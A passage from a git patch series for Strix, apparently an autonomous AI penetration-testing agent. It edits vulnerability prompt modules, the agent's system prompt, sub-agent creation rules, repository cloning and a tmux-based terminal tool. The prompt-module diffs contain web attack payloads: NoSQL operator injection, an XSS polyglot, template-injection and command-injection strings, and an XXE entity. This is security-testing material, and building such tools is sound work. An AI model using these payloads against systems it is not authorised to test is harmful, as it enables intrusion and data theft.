diff --git a/strix/prompts/vulnerabilities/idor.jinja b/strix/prompts/vulnerabilities/idor.jinja index 1271922fd..b2a29cb1c 100644 --- a/strix/prompts/vulnerabilities/idor.jinja +++ b/strix/prompts/vulnerabilities/idor.jinja @@ -15,7 +15,7 @@ - Boundary values: 0, -1, null, empty string, max int -- Different formats: {"id":123} vs {"id":"123"} +- Different formats: {% raw %}{"id":123} vs {"id":"123"}{% endraw %} - ID patterns: increment, decrement, similar patterns - Wildcard testing: *, %, _, all - Array notation: id[]=123&id[]=456 @@ -51,7 +51,7 @@ for i in range(1, 10000): - String where int expected: "123" vs 123 - Array where single value expected: [123] vs 123 -- Object injection: {"id": {"$ne": null}} +- Object injection: {% raw %}{"id": {"$ne": null}}{% endraw %} @@ -106,7 +106,7 @@ query { u1: user(id: 123) { data } u2: user(id: 456) { data } } Subscribe to other users' channels: -{"subscribe": "user_456_notifications"} +{% raw %}{"subscribe": "user_456_notifications"}{% endraw %} diff --git a/strix/prompts/vulnerabilities/rce.jinja b/strix/prompts/vulnerabilities/rce.jinja index 166c07897..5be6df89d 100644 --- a/strix/prompts/vulnerabilities/rce.jinja +++ b/strix/prompts/vulnerabilities/rce.jinja @@ -94,7 +94,7 @@ ${IFS}id Works in multiple contexts: ;id;#' |id| #" |id| # -${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7} +{% raw %}${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}{% endraw %} diff --git a/strix/prompts/vulnerabilities/sql_injection.jinja b/strix/prompts/vulnerabilities/sql_injection.jinja index 8311e75f4..f3917b15c 100644 --- a/strix/prompts/vulnerabilities/sql_injection.jinja +++ b/strix/prompts/vulnerabilities/sql_injection.jinja @@ -152,9 +152,9 @@ PostgreSQL: -{"username": {"$ne": null}, "password": {"$ne": null}} -{"$where": "this.username == 'admin'"} -{"username": {"$regex": "^admin"}} +{% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %} +{% raw %}{"$where": "this.username == 'admin'"}{% endraw %} +{% raw %}{"username": {"$regex": "^admin"}}{% endraw %} diff --git a/strix/prompts/vulnerabilities/xss.jinja b/strix/prompts/vulnerabilities/xss.jinja index 52f40d153..3b4d938e6 100644 --- a/strix/prompts/vulnerabilities/xss.jinja +++ b/strix/prompts/vulnerabilities/xss.jinja @@ -9,7 +9,7 @@ - Headers: User-Agent, Referer, X-Forwarded-For - Cookies (if reflected) - File uploads (filename, metadata) -- JSON endpoints: {"user":""} +- JSON endpoints: {% raw %}{"user":""}{% endraw %} - postMessage handlers - DOM properties: location.hash, document.referrer - WebSocket messages @@ -97,7 +97,7 @@ jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a// - JSONP endpoints: "> @@ -145,7 +145,7 @@ navigator.mediaDevices.getUserMedia({video:true}).then(s=>...) -- dangerouslySetInnerHTML={{__html: payload}} +- dangerouslySetInnerHTML={% raw %}{{__html: payload}}{% endraw %} - v-html directive bypass diff --git a/strix/prompts/vulnerabilities/xxe.jinja b/strix/prompts/vulnerabilities/xxe.jinja index 20219e0ee..070d97a59 100644 --- a/strix/prompts/vulnerabilities/xxe.jinja +++ b/strix/prompts/vulnerabilities/xxe.jinja @@ -91,7 +91,7 @@ evil.dtd: -{"name": "test", "content": "]>&xxe;"} +{% raw %}{"name": "test", "content": "]>&xxe;"}{% endraw %} diff --git a/strix/tools/agents_graph/agents_graph_actions.py b/strix/tools/agents_graph/agents_graph_actions.py index 98485ac7e..f6b2255e6 100644 --- a/strix/tools/agents_graph/agents_graph_actions.py +++ b/strix/tools/agents_graph/agents_graph_actions.py @@ -57,6 +57,10 @@ def _run_agent_in_thread( - Work independently with your own approach - Use agent_finish when complete to report back to parent - You are a SPECIALIST for this specific task + - The previous browser, sessions, proxy history, and files in /workspace were for your + parent agent. Do not depend on them. + - You are starting with a fresh context. Fresh proxy, browser, and files. + Only stuff in /shared_workspace is passed to you from context. """ @@ -192,16 +196,6 @@ def create_agent( if prompt_modules: module_list = [m.strip() for m in prompt_modules.split(",") if m.strip()] - if "root_agent" in module_list: - return { - "success": False, - "error": ( - "The 'root_agent' module is reserved for the main agent " - "and cannot be used by sub-agents" - ), - "agent_id": None, - } - if len(module_list) > 3: return { "success": False, diff --git a/strix/tools/agents_graph/agents_graph_actions_schema.xml b/strix/tools/agents_graph/agents_graph_actions_schema.xml index a4536d2a3..22e717399 100644 --- a/strix/tools/agents_graph/agents_graph_actions_schema.xml +++ b/strix/tools/agents_graph/agents_graph_actions_schema.xml @@ -59,7 +59,7 @@ Use this tool when: Create and spawn a new agent to handle a specific subtask. -MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any new agent to check if there is already an agent working on the same or similar task. Only create a new agent if no existing agent is handling the specific task. +Only create a new agent if no existing agent is handling the specific task.
The new agent inherits the parent's conversation history and context up to the point of creation, then continues with its assigned subtask. This enables decomposition of complex penetration testing tasks into specialized sub-agents. @@ -67,12 +67,6 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any The agent runs asynchronously and independently, allowing the parent to continue immediately while the new agent executes its task in the background. - CRITICAL: Before calling this tool, you MUST first use view_agent_graph to: - - Examine all existing agents and their current tasks - - Verify no agent is already working on the same or similar objective - - Avoid duplication of effort and resource waste - - Ensure efficient coordination across the multi-agent system - If you as a parent agent don't absolutely have anything to do while your subagents are running, you can use wait_for_message tool. The subagent will continue to run in the background, and update you when it's done.
@@ -93,9 +87,6 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any Response containing: - agent_id: Unique identifier for the created agent - success: Whether the agent was created successfully - message: Status message - agent_info: Details about the created agent - # REQUIRED: First check agent graph before creating any new agent - - # REQUIRED: Check agent graph again before creating another agent @@ -108,7 +99,6 @@ MANDATORY REQUIREMENT: You MUST call view_agent_graph FIRST before creating any sql_injection - # Create specialized authentication testing agent with multiple modules (comma-separated) Test authentication mechanisms, JWT implementation, and session management for security vulnerabilities and bypass techniques. diff --git a/strix/tools/terminal/terminal_actions_schema.xml b/strix/tools/terminal/terminal_actions_schema.xml index 5e73c645c..dd5aac459 100644 --- a/strix/tools/terminal/terminal_actions_schema.xml +++ b/strix/tools/terminal/terminal_actions_schema.xml @@ -63,6 +63,10 @@ - When you need multiple characters sent as a single unit 12. Do NOT use terminal actions for file editing or writing. Use the replace_in_file, write_to_file, or read_file tools instead. + 13. PREFER SIMPLE COMMANDS: Avoid complex multiline commands with nested quotes or + complex syntax. Break down complex operations into simpler, individual commands + for better reliability and readability. Never send multiple commands in a single + input list with multiple "Enter" keys - execute one command at a time instead. # Create new terminal with Node.js (default terminal) From ccab853c0fd0e3ca12471eff67c80c4ce44ac910 Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Sat, 16 Aug 2025 15:47:36 -0700 Subject: [PATCH 002/506] Clone git repositories internally (#10) --- strix/agents/StrixAgent/strix_agent.py | 18 +++- strix/agents/StrixAgent/system_prompt.jinja | 21 +++++ strix/cli/app.py | 2 + strix/cli/main.py | 89 ++++++++++++++++++- .../agents_graph_actions_schema.xml | 18 +++- 5 files changed, 143 insertions(+), 5 deletions(-) diff --git a/strix/agents/StrixAgent/strix_agent.py b/strix/agents/StrixAgent/strix_agent.py index 5cee17587..2616091bb 100644 --- a/strix/agents/StrixAgent/strix_agent.py +++ b/strix/agents/StrixAgent/strix_agent.py @@ -26,9 +26,21 @@ async def execute_scan(self, scan_config: dict[str, Any]) -> dict[str, Any]: task_parts = [] if scan_type == "repository": - task_parts.append( - f"Perform a security assessment of the Git repository: {target['target_repo']}" - ) + repo_url = target["target_repo"] + cloned_path = target.get("cloned_repo_path") + + if cloned_path: + shared_workspace_path = "/shared_workspace" + task_parts.append( + f"Perform a security assessment of the Git repository: {repo_url}. " + f"The repository has been cloned from '{repo_url}' to '{cloned_path}' " + f"(host path) and then copied to '{shared_workspace_path}' in your environment." + f"Analyze the codebase at: {shared_workspace_path}" + ) + else: + task_parts.append( + f"Perform a security assessment of the Git repository: {repo_url}" + ) elif scan_type == "web_application": task_parts.append( diff --git a/strix/agents/StrixAgent/system_prompt.jinja b/strix/agents/StrixAgent/system_prompt.jinja index 2fd46682c..3fa206bb9 100644 --- a/strix/agents/StrixAgent/system_prompt.jinja +++ b/strix/agents/StrixAgent/system_prompt.jinja @@ -206,6 +206,27 @@ CRITICAL RULES: - **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs - **SPAWN REACTIVELY** - Create new agents based on what you discover - **ONLY REPORTING AGENTS** can use create_vulnerability_report tool +- **AGENT SPECIALIZATION MANDATORY** - Each agent must be highly specialized with maximum 3 prompt modules +- **NO GENERIC AGENTS** - Avoid creating broad, multi-purpose agents that dilute focus + +AGENT SPECIALIZATION EXAMPLES: + +GOOD SPECIALIZATION: +- "SQLi Validation Agent" with prompt_modules: sql_injection +- "XSS Discovery Agent" with prompt_modules: xss +- "Auth Testing Agent" with prompt_modules: authentication_jwt, business_logic +- "SSRF + XXE Agent" with prompt_modules: ssrf, xxe, rce (related attack vectors) + +BAD SPECIALIZATION: +- "General Web Testing Agent" with prompt_modules: sql_injection, xss, csrf, ssrf, authentication_jwt (too broad) +- "Everything Agent" with prompt_modules: all available modules (completely unfocused) +- Any agent with more than 3 prompt modules (violates constraints) + +FOCUS PRINCIPLES: +- Each agent should have deep expertise in 1-3 related vulnerability types +- Agents with single modules have the deepest specialization +- Related vulnerabilities (like SSRF+XXE or Auth+Business Logic) can be combined +- Never create "kitchen sink" agents that try to do everything REALISTIC TESTING OUTCOMES: - **No Findings**: Agent completes testing but finds no vulnerabilities diff --git a/strix/cli/app.py b/strix/cli/app.py index dcac1471c..95e4be779 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -248,6 +248,8 @@ def _build_agent_config(self, args: argparse.Namespace) -> dict[str, Any]: if args.target_type == "local_code" and "target_path" in args.target_dict: config["local_source_path"] = args.target_dict["target_path"] + elif args.target_type == "repository" and "cloned_repo_path" in args.target_dict: + config["local_source_path"] = args.target_dict["cloned_repo_path"] return config diff --git a/strix/cli/main.py b/strix/cli/main.py index 4ed70c3ff..654183a07 100644 --- a/strix/cli/main.py +++ b/strix/cli/main.py @@ -9,7 +9,9 @@ import os import secrets import shutil +import subprocess import sys +import tempfile from pathlib import Path from typing import Any from urllib.parse import urlparse @@ -204,6 +206,84 @@ def generate_run_name() -> str: return f"{adj}-{noun}-{number}" +def clone_repository(repo_url: str, run_name: str) -> str: + console = Console() + + git_executable = shutil.which("git") + if git_executable is None: + raise FileNotFoundError("Git executable not found in PATH") + + temp_dir = Path(tempfile.gettempdir()) / "strix_repos" / run_name + temp_dir.mkdir(parents=True, exist_ok=True) + + repo_name = Path(repo_url).stem if repo_url.endswith(".git") else Path(repo_url).name + + clone_path = temp_dir / repo_name + + if clone_path.exists(): + shutil.rmtree(clone_path) + + try: + with console.status(f"[bold cyan]Cloning repository {repo_name}...", spinner="dots"): + subprocess.run( # noqa: S603 + [ + git_executable, + "clone", + "--depth=1", + "--no-recurse-submodules", + "--single-branch", + repo_url, + str(clone_path), + ], + capture_output=True, + text=True, + check=True, + ) + + return str(clone_path.absolute()) + + except subprocess.CalledProcessError as e: + error_text = Text() + error_text.append("❌ ", style="bold red") + error_text.append("REPOSITORY CLONE FAILED", style="bold red") + error_text.append("\n\n", style="white") + error_text.append(f"Could not clone repository: {repo_url}\n", style="white") + error_text.append( + f"Error: {e.stderr if hasattr(e, 'stderr') and e.stderr else str(e)}", style="dim red" + ) + + panel = Panel( + error_text, + title="[bold red]🛡️ STRIX CLONE ERROR", + title_align="center", + border_style="red", + padding=(1, 2), + ) + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + except FileNotFoundError: + error_text = Text() + error_text.append("❌ ", style="bold red") + error_text.append("GIT NOT FOUND", style="bold red") + error_text.append("\n\n", style="white") + error_text.append("Git is not installed or not available in PATH.\n", style="white") + error_text.append("Please install Git to clone repositories.\n", style="white") + + panel = Panel( + error_text, + title="[bold red]🛡️ STRIX CLONE ERROR", + title_align="center", + border_style="red", + padding=(1, 2), + ) + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + + def infer_target_type(target: str) -> tuple[str, dict[str, str]]: if not target or not isinstance(target, str): raise ValueError("Target must be a non-empty string") @@ -544,16 +624,23 @@ def main() -> None: if sys.platform == "win32": asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) + args = parse_arguments() + check_docker_installed() pull_docker_image() validate_environment() asyncio.run(warm_up_llm()) - args = parse_arguments() if not args.run_name: args.run_name = generate_run_name() + if args.target_type == "repository": + repo_url = args.target_dict["target_repo"] + cloned_path = clone_repository(repo_url, args.run_name) + + args.target_dict["cloned_repo_path"] = cloned_path + asyncio.run(run_strix_cli(args)) results_path = Path("agent_runs") / args.run_name diff --git a/strix/tools/agents_graph/agents_graph_actions_schema.xml b/strix/tools/agents_graph/agents_graph_actions_schema.xml index 22e717399..f9d67a491 100644 --- a/strix/tools/agents_graph/agents_graph_actions_schema.xml +++ b/strix/tools/agents_graph/agents_graph_actions_schema.xml @@ -80,7 +80,7 @@ Only create a new agent if no existing agent is handling the specific task.Whether the new agent should inherit parent's conversation history and context - Comma-separated list of prompt modules to use for the agent. Most agents should have at least one module in order to be useful. {{DYNAMIC_MODULES_DESCRIPTION}} + Comma-separated list of prompt modules to use for the agent (MAXIMUM 3 modules allowed). Most agents should have at least one module in order to be useful. Agents should be highly specialized - use 1-3 related vulnerability modules only. {{DYNAMIC_MODULES_DESCRIPTION}} @@ -104,6 +104,22 @@ Only create a new agent if no existing agent is handling the specific task. Auth Specialist authentication_jwt, business_logic + + + # Example of single-module specialization (most focused) + + Perform comprehensive XSS testing including reflected, stored, and DOM-based + variants across all identified input points. + XSS Specialist + xss + + + # Example of maximum 3 related modules (borderline acceptable) + + Test for server-side vulnerabilities including SSRF, XXE, and potential + RCE vectors in file upload and XML processing endpoints. + Server-Side Attack Specialist + ssrf, xxe, rce
From 198a5e4a618c4df6154e9f9bca11580b48a78c04 Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Sat, 16 Aug 2025 23:43:29 -0700 Subject: [PATCH 003/506] Redesigning the terminal tool (#11) --- containers/Dockerfile | 1 + poetry.lock | 14 +- pyproject.toml | 2 + strix/cli/app.py | 2 +- .../cli/tool_components/terminal_renderer.py | 152 +++++--- strix/tools/argument_parser.py | 3 +- strix/tools/terminal/__init__.py | 4 +- strix/tools/terminal/terminal_actions.py | 62 ++- .../terminal/terminal_actions_schema.xml | 189 +++++----- strix/tools/terminal/terminal_instance.py | 231 ------------ strix/tools/terminal/terminal_manager.py | 206 ++++------ strix/tools/terminal/terminal_session.py | 356 ++++++++++++++++++ 12 files changed, 675 insertions(+), 547 deletions(-) delete mode 100644 strix/tools/terminal/terminal_instance.py create mode 100644 strix/tools/terminal/terminal_session.py diff --git a/containers/Dockerfile b/containers/Dockerfile index 5a5234d27..b8cbdeb97 100644 --- a/containers/Dockerfile +++ b/containers/Dockerfile @@ -38,6 +38,7 @@ RUN apt-get update && \ nodejs npm pipx \ libcap2-bin \ gdb \ + tmux \ libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \ libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2 \ fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \ diff --git a/poetry.lock b/poetry.lock index 1cd171dd4..e44dfdc8d 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2311,6 +2311,18 @@ pyyaml = ">=5.2" [package.extras] dev = ["Sphinx (>=5.1.1)", "black (==24.8.0)", "build (>=0.10.0)", "coverage[toml] (>=4.5.4)", "fixit (==2.1.0)", "flake8 (==7.1.1)", "hypothesis (>=4.36.0)", "hypothesmith (>=0.0.4)", "jinja2 (==3.1.4)", "jupyter (>=1.0.0)", "maturin (>=1.7.0,<1.8)", "nbsphinx (>=0.4.2)", "prompt-toolkit (>=2.0.9)", "pyre-check (==0.9.18)", "setuptools-rust (>=1.5.2)", "setuptools-scm (>=6.0.1)", "slotscheck (>=0.7.1)", "sphinx-rtd-theme (>=0.4.3)", "ufmt (==2.7.3)", "usort (==1.0.8.post1)"] +[[package]] +name = "libtmux" +version = "0.46.2" +description = "Typed library that provides an ORM wrapper for tmux, a terminal multiplexer." +optional = false +python-versions = "<4.0,>=3.9" +groups = ["main"] +files = [ + {file = "libtmux-0.46.2-py3-none-any.whl", hash = "sha256:6c32dbf22bde8e5e33b2714a4295f6e838dc640f337cd4c085a044f6828c7793"}, + {file = "libtmux-0.46.2.tar.gz", hash = "sha256:9a398fec5d714129c8344555d466e1a903dfc0f741ba07aabe75a8ceb25c5dda"}, +] + [[package]] name = "linkify-it-py" version = "2.0.3" @@ -6288,4 +6300,4 @@ type = ["pytest-mypy"] [metadata] lock-version = "2.1" python-versions = "^3.12" -content-hash = "5bd9cfa879c53b476b1dfdfc7e59b8dff002838a6a83db21b1f0daaba4232819" +content-hash = "631152ff7f5edc5de12cc3ebbd58848a665e2b1a80078b332deb4d33fa6839e6" diff --git a/pyproject.toml b/pyproject.toml index e6afd65f1..2de982a9b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -59,6 +59,7 @@ textual = "^4.0.0" xmltodict = "^0.13.0" pyte = "^0.8.1" requests = "^2.32.0" +libtmux = "^0.46.2" [tool.poetry.group.dev.dependencies] # Type checking and static analysis @@ -126,6 +127,7 @@ module = [ "gql.*", "textual.*", "pyte.*", + "libtmux.*", ] ignore_missing_imports = true diff --git a/strix/cli/app.py b/strix/cli/app.py index 95e4be779..286c9ed93 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -878,7 +878,7 @@ def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> str: result = tool_data.get("result") tool_colors = { - "terminal_action": "#22c55e", + "terminal_execute": "#22c55e", "browser_action": "#06b6d4", "python_action": "#3b82f6", "agents_graph_action": "#fbbf24", diff --git a/strix/cli/tool_components/terminal_renderer.py b/strix/cli/tool_components/terminal_renderer.py index f44853cf0..2902376d8 100644 --- a/strix/cli/tool_components/terminal_renderer.py +++ b/strix/cli/tool_components/terminal_renderer.py @@ -8,7 +8,7 @@ @register_tool_renderer class TerminalRenderer(BaseToolRenderer): - tool_name: ClassVar[str] = "terminal_action" + tool_name: ClassVar[str] = "terminal_execute" css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"] @classmethod @@ -17,11 +17,12 @@ def render(cls, tool_data: dict[str, Any]) -> Static: status = tool_data.get("status", "unknown") result = tool_data.get("result", {}) - action = args.get("action", "unknown") - inputs = args.get("inputs", []) + command = args.get("command", "") + is_input = args.get("is_input", False) terminal_id = args.get("terminal_id", "default") + timeout = args.get("timeout") - content = cls._build_sleek_content(action, inputs, terminal_id, result) + content = cls._build_sleek_content(command, is_input, terminal_id, timeout, result) css_classes = cls.get_css_classes(status) return Static(content, classes=css_classes) @@ -29,71 +30,102 @@ def render(cls, tool_data: dict[str, Any]) -> Static: @classmethod def _build_sleek_content( cls, - action: str, - inputs: list[str], + command: str, + is_input: bool, terminal_id: str, # noqa: ARG003 + timeout: float | None, # noqa: ARG003 result: dict[str, Any], # noqa: ARG003 ) -> str: terminal_icon = ">_" - if action in {"create", "new_terminal"}: - command = cls._format_command(inputs) if inputs else "bash" - return f"{terminal_icon} [#22c55e]${command}[/]" - - if action == "send_input": - command = cls._format_command(inputs) - return f"{terminal_icon} [#22c55e]${command}[/]" - - if action == "wait": - return f"{terminal_icon} [dim]waiting...[/]" - - if action == "close": - return f"{terminal_icon} [dim]close[/]" - - if action == "get_snapshot": - return f"{terminal_icon} [dim]snapshot[/]" - - return f"{terminal_icon} [dim]{action}[/]" + if not command.strip(): + return f"{terminal_icon} [dim]getting logs...[/]" + + control_sequences = { + "C-c", + "C-d", + "C-z", + "C-a", + "C-e", + "C-k", + "C-l", + "C-u", + "C-w", + "C-r", + "C-s", + "C-t", + "C-y", + "^c", + "^d", + "^z", + "^a", + "^e", + "^k", + "^l", + "^u", + "^w", + "^r", + "^s", + "^t", + "^y", + } + special_keys = { + "Enter", + "Escape", + "Space", + "Tab", + "BTab", + "BSpace", + "DC", + "IC", + "Up", + "Down", + "Left", + "Right", + "Home", + "End", + "PageUp", + "PageDown", + "PgUp", + "PgDn", + "PPage", + "NPage", + "F1", + "F2", + "F3", + "F4", + "F5", + "F6", + "F7", + "F8", + "F9", + "F10", + "F11", + "F12", + } + + is_special = ( + command in control_sequences + or command in special_keys + or command.startswith(("M-", "S-", "C-S-", "C-M-", "S-M-")) + ) + + if is_special: + return f"{terminal_icon} [#ef4444]{command}[/]" + + if is_input: + formatted_command = cls._format_command_display(command) + return f"{terminal_icon} [#3b82f6]>>>[/] [#22c55e]{formatted_command}[/]" + + formatted_command = cls._format_command_display(command) + return f"{terminal_icon} [#22c55e]$ {formatted_command}[/]" @classmethod - def _format_command(cls, inputs: list[str]) -> str: - if not inputs: + def _format_command_display(cls, command: str) -> str: + if not command: return "" - command_parts = [] - - for input_item in inputs: - if input_item == "Enter": - break - if input_item.startswith("literal:"): - command_parts.append(input_item[8:]) - elif input_item in [ - "Space", - "Tab", - "Backspace", - "Up", - "Down", - "Left", - "Right", - "Home", - "End", - "PageUp", - "PageDown", - "Insert", - "Delete", - "Escape", - ] or input_item.startswith(("^", "C-", "S-", "A-", "F")): - if input_item == "Space": - command_parts.append(" ") - elif input_item == "Tab": - command_parts.append("\t") - continue - else: - command_parts.append(input_item) - - command = "".join(command_parts).strip() - if len(command) > 200: command = command[:197] + "..." - return cls.escape_markup(command) if command else "bash" + return cls.escape_markup(command) diff --git a/strix/tools/argument_parser.py b/strix/tools/argument_parser.py index 06b79f75d..0a85f0063 100644 --- a/strix/tools/argument_parser.py +++ b/strix/tools/argument_parser.py @@ -1,6 +1,7 @@ import contextlib import inspect import json +import types from collections.abc import Callable from typing import Any, Union, get_args, get_origin @@ -48,7 +49,7 @@ def convert_arguments(func: Callable[..., Any], kwargs: dict[str, Any]) -> dict[ def convert_string_to_type(value: str, param_type: Any) -> Any: origin = get_origin(param_type) - if origin is Union or origin is type(str | None): + if origin is Union or isinstance(param_type, types.UnionType): args = get_args(param_type) for arg_type in args: if arg_type is not type(None): diff --git a/strix/tools/terminal/__init__.py b/strix/tools/terminal/__init__.py index 5b03c7243..d53c69a1a 100644 --- a/strix/tools/terminal/__init__.py +++ b/strix/tools/terminal/__init__.py @@ -1,4 +1,4 @@ -from .terminal_actions import terminal_action +from .terminal_actions import terminal_execute -__all__ = ["terminal_action"] +__all__ = ["terminal_execute"] diff --git a/strix/tools/terminal/terminal_actions.py b/strix/tools/terminal/terminal_actions.py index 05bffd5e5..1ececa46a 100644 --- a/strix/tools/terminal/terminal_actions.py +++ b/strix/tools/terminal/terminal_actions.py @@ -1,53 +1,35 @@ -from typing import Any, Literal +from typing import Any from strix.tools.registry import register_tool from .terminal_manager import get_terminal_manager -TerminalAction = Literal["new_terminal", "send_input", "wait", "close"] - - @register_tool -def terminal_action( - action: TerminalAction, - inputs: list[str] | None = None, - time: float | None = None, +def terminal_execute( + command: str, + is_input: bool = False, + timeout: float | None = None, terminal_id: str | None = None, + no_enter: bool = False, ) -> dict[str, Any]: - def _validate_inputs(action_name: str, inputs: list[str] | None) -> None: - if not inputs: - raise ValueError(f"inputs parameter is required for {action_name} action") - - def _validate_time(time_param: float | None) -> None: - if time_param is None: - raise ValueError("time parameter is required for wait action") - - def _validate_action(action_name: str) -> None: - raise ValueError(f"Unknown action: {action_name}") - manager = get_terminal_manager() try: - match action: - case "new_terminal": - return manager.create_terminal(terminal_id, inputs) - - case "send_input": - _validate_inputs(action, inputs) - assert inputs is not None - return manager.send_input(terminal_id, inputs) - - case "wait": - _validate_time(time) - assert time is not None - return manager.wait_terminal(terminal_id, time) - - case "close": - return manager.close_terminal(terminal_id) - - case _: - _validate_action(action) # type: ignore[unreachable] - + return manager.execute_command( + command=command, + is_input=is_input, + timeout=timeout, + terminal_id=terminal_id, + no_enter=no_enter, + ) except (ValueError, RuntimeError) as e: - return {"error": str(e), "terminal_id": terminal_id, "snapshot": "", "is_running": False} + return { + "error": str(e), + "command": command, + "terminal_id": terminal_id or "default", + "content": "", + "status": "error", + "exit_code": None, + "working_dir": None, + } diff --git a/strix/tools/terminal/terminal_actions_schema.xml b/strix/tools/terminal/terminal_actions_schema.xml index dd5aac459..eda6edc72 100644 --- a/strix/tools/terminal/terminal_actions_schema.xml +++ b/strix/tools/terminal/terminal_actions_schema.xml @@ -1,117 +1,130 @@ - - Perform terminal actions using a terminal emulator instance. Each terminal instance - is PERSISTENT and remains active until explicitly closed, allowing for multi-step - workflows and long-running processes. + + Execute a bash command in a persistent terminal session. The terminal maintains state (environment variables, current directory, running processes) between commands. - - The terminal action to perform: - new_terminal: Create a new terminal instance. This MUST be the first action for each terminal tab. - send_input: Send keyboard input to the specified terminal. - wait: Pause execution for specified number of seconds. Can be also used to get the current terminal state (screenshot, output, etc.) after using other tools. - close: Close the specified terminal instance. This MUST be the final action for each terminal tab. + + The bash command to execute. Cannot be empty - must provide a valid command or special key sequence. + + Supported special keys and sequences (based on official tmux key names): + - Control sequences: C-c, C-d, C-z, C-a, C-e, C-k, C-l, C-u, C-w, etc. (also ^c, ^d, etc.) + - Navigation keys: Up, Down, Left, Right, Home, End + - Page keys: PageUp, PageDown, PgUp, PgDn, PPage, NPage + - Function keys: F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12 + - Special keys: Enter, Escape, Space, Tab, BTab, BSpace, DC, IC + - Note: Use official tmux names (BSpace not Backspace, DC not Delete, IC not Insert, Escape not Esc) + - Meta/Alt sequences: M-key (e.g., M-f, M-b) - tmux official modifier + - Shift sequences: S-key (e.g., S-F6, S-Tab, S-Left) + - Combined modifiers: C-S-key, C-M-key, S-M-key, etc. + + These are useful for interacting with vim, emacs, REPLs, and other interactive applications. - - Required for 'new_terminal' and 'send_input' actions: - List of inputs to send to terminal. Each element in the list MUST be one of the following: - Regular text: "hello", "world", etc. - Literal text (not interpreted as special keys): prefix with "literal:" e.g., "literal:Home", "literal:Escape", "literal:Enter" to send these as text - Enter - Space - Backspace - Escape: "Escape", "^[", "C-[" - Tab: "Tab" - Arrow keys: "Left", "Right", "Up", "Down" - Navigation: "Home", "End", "PageUp", "PageDown" - Function keys: "F1" through "F12" Modifier keys supported with prefixes: - ^ or C- : Control (e.g., "^c", "C-c") - S- : Shift (e.g., "S-F6") - A- : Alt (e.g., "A-Home") - Combined modifiers for arrows: "S-A-Up", "C-S-Left" - Inputs MUST in all cases be sent as a LIST of strings, even if you are only sending one input. - Sending Inputs as a single string will NOT work. + + If true, the command is sent as input to a currently running process. If false (default), the command is executed as a new bash command. Use this to interact with running processes. - - Required for 'wait' action. Number of seconds to pause execution. Can be fractional (e.g., 0.5 for half a second). + + Optional timeout in seconds for command execution. If not provided, uses default timeout behavior. Set to higher values for long-running commands like installations or tests. - Identifier for the terminal instance. Required for all actions except the first 'new_terminal' action. Allows managing multiple concurrent terminal tabs. - For 'new_terminal': if not provided, a default terminal is created. If provided, creates a new terminal with that ID. - For other actions: specifies which terminal instance to operate on. - Default terminal ID is "default" if not specified. + Identifier for the terminal session. Defaults to "default". Use different IDs to manage multiple concurrent terminal sessions. + + + If true, don't automatically add Enter/newline after the command. Useful for: + - Interactive prompts where you want to send keys without submitting + - Navigation keys in full-screen applications + + Examples: + - terminal_execute("gg", is_input=true, no_enter=true) # Vim: go to top + - terminal_execute("5j", is_input=true, no_enter=true) # Vim: move down 5 lines + - terminal_execute("i", is_input=true, no_enter=true) # Vim: insert mode - Response containing: - snapshot: raw representation of current terminal state where you can see the output of the command - terminal_id: the ID of the terminal instance that was operated on + Response containing: + - content: Command output + - exit_code: Exit code of the command (only for completed commands) + - command: The executed command + - terminal_id: The terminal session ID + - status: Command status ('completed', 'timeout', 'running') + - working_dir: Current working directory after command execution Important usage rules: - 1. PERSISTENCE: Terminal instances remain active and maintain their state (environment - variables, current directory, running processes) until explicitly closed with the - 'close' action. This allows for multi-step workflows across multiple tool calls. - 2. MULTIPLE TERMINALS: You can run multiple terminal instances concurrently by using - different terminal_id values. Each terminal operates independently. - 3. Terminal interaction MUST begin with 'new_terminal' action for each terminal instance. - 4. Only one action can be performed per call. - 5. Input handling: - - Regular text is sent as-is - - Literal text: prefix with "literal:" to send special key names as literal text - - Special keys must match supported key names - - Modifier combinations follow specific syntax - - Control can be specified as ^ or C- prefix - - Shift (S-) works with special keys only - - Alt (A-) works with any character/key - 6. Wait action: - - Time is specified in seconds - - Can be used to wait for command completion - - Can be fractional (e.g., 0.5 seconds) - - Snapshot and output are captured after the wait - - You should estimate the time it will take to run the command and set the wait time accordingly. - - It can be from a few seconds to a few minutes, choose wisely depending on the command you are running and the task. - 7. The terminal can operate concurrently with other tools. You may invoke - browser, proxy, or other tools (in separate assistant messages) while maintaining - active terminal sessions. - 8. You do not need to close terminals after you are done, but you can if you want to - free up resources. - 9. You MUST end the inputs list with an "Enter" if you want to run the command, as - it is not sent automatically. - 10. AUTOMATIC SPACING BEHAVIOR: - - Consecutive regular text inputs have spaces automatically added between them - - This is helpful for shell commands: ["ls", "-la"] becomes "ls -la" - - This causes problems for compound commands: [":", "w", "q"] becomes ": w q" - - Use "literal:" prefix to bypass spacing: [":", "literal:wq"] becomes ":wq" - - Special keys (Enter, Space, etc.) and literal strings never trigger spacing - 11. WHEN TO USE LITERAL PREFIX: - - Vim 